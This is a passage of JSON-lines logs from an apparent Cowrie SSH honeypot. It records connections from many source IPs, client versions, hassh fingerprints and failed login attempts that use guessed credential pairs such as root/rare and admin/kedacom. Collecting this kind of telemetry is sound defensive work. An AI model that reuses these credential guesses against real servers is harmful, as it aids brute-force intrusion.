-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:39.556363Z","src_ip":"159.203.92.129","session":"9f0f7281d029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yingjb","password":"Yingjb","message":"login attempt [Yingjb/Yingjb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:39.750213Z","src_ip":"159.203.92.129","session":"9f0f7281d029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:40.774235Z","src_ip":"159.203.92.129","session":"9f0f7281d029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":59910,"dst_ip":"159.203.135.109","dst_port":22,"session":"21fd4663b275","protocol":"ssh","message":"New connection: 31.59.89.180:59910 (159.203.135.109:22) [session: 21fd4663b275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:48.524254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:48.529011Z","src_ip":"31.59.89.180","session":"21fd4663b275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:48.640553Z","src_ip":"31.59.89.180","session":"21fd4663b275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuser","password":"testing","message":"login attempt [tuser/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:49.126831Z","src_ip":"31.59.89.180","session":"21fd4663b275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":55686,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1cf5bf391eb","protocol":"ssh","message":"New connection: 173.249.6.197:55686 (159.203.135.109:22) [session: c1cf5bf391eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:49.375998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:49.379827Z","src_ip":"173.249.6.197","session":"c1cf5bf391eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:49.472830Z","src_ip":"173.249.6.197","session":"c1cf5bf391eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123123","message":"login attempt [user/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:49.876914Z","src_ip":"173.249.6.197","session":"c1cf5bf391eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:50.237186Z","src_ip":"31.59.89.180","session":"21fd4663b275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:50.972032Z","src_ip":"173.249.6.197","session":"c1cf5bf391eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":38918,"dst_ip":"159.203.135.109","dst_port":22,"session":"d466ebfc25be","protocol":"ssh","message":"New connection: 221.139.88.149:38918 (159.203.135.109:22) [session: d466ebfc25be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:51.606140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:51.610986Z","src_ip":"221.139.88.149","session":"d466ebfc25be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:51.818258Z","src_ip":"221.139.88.149","session":"d466ebfc25be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"123","message":"login attempt [user10/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:52.952829Z","src_ip":"221.139.88.149","session":"d466ebfc25be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:54.139170Z","src_ip":"221.139.88.149","session":"d466ebfc25be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":48668,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb0abfaacd83","protocol":"ssh","message":"New connection: 185.216.119.134:48668 (10.17.0.5:22) [session: eb0abfaacd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:13.261763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:13.277041Z","src_ip":"185.216.119.134","session":"eb0abfaacd83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:13.933360Z","src_ip":"185.216.119.134","session":"eb0abfaacd83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rare","message":"login attempt [root/rare] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:15.523541Z","src_ip":"185.216.119.134","session":"eb0abfaacd83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:16.756945Z","src_ip":"185.216.119.134","session":"eb0abfaacd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51142,"dst_ip":"159.203.135.109","dst_port":22,"session":"06d6c39d132f","protocol":"ssh","message":"New connection: 159.203.92.129:51142 (159.203.135.109:22) [session: 06d6c39d132f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:22.879513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:22.885839Z","src_ip":"159.203.92.129","session":"06d6c39d132f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:22.890941Z","src_ip":"159.203.92.129","session":"06d6c39d132f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yingjb","password":"Yingjb123","message":"login attempt [Yingjb/Yingjb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:22.912935Z","src_ip":"159.203.92.129","session":"06d6c39d132f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:23.922135Z","src_ip":"159.203.92.129","session":"06d6c39d132f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":60092,"dst_ip":"159.203.135.109","dst_port":22,"session":"d90a71b745eb","protocol":"ssh","message":"New connection: 31.59.89.180:60092 (159.203.135.109:22) [session: d90a71b745eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:35.405292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:35.409909Z","src_ip":"31.59.89.180","session":"d90a71b745eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:35.520629Z","src_ip":"31.59.89.180","session":"d90a71b745eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"kedacom","message":"login attempt [admin/kedacom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:35.997035Z","src_ip":"31.59.89.180","session":"d90a71b745eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:37.111117Z","src_ip":"31.59.89.180","session":"d90a71b745eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":43158,"dst_ip":"10.17.0.5","dst_port":22,"session":"756b4aab20cb","protocol":"ssh","message":"New connection: 196.189.51.7:43158 (10.17.0.5:22) [session: 756b4aab20cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:53.864574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:53.868803Z","src_ip":"196.189.51.7","session":"756b4aab20cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:54.035171Z","src_ip":"196.189.51.7","session":"756b4aab20cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo1234","message":"login attempt [ubuntu/demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:54.729046Z","src_ip":"196.189.51.7","session":"756b4aab20cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49646,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf8700672c30","protocol":"ssh","message":"New connection: 87.251.64.176:49646 (10.17.0.5:22) [session: bf8700672c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.146013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.150598Z","src_ip":"87.251.64.176","session":"bf8700672c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.246556Z","src_ip":"87.251.64.176","session":"bf8700672c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":54384,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3e115122ca4","protocol":"ssh","message":"New connection: 221.139.88.149:54384 (159.203.135.109:22) [session: b3e115122ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.530130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.535510Z","src_ip":"221.139.88.149","session":"b3e115122ca4","protocol":"ssh"}
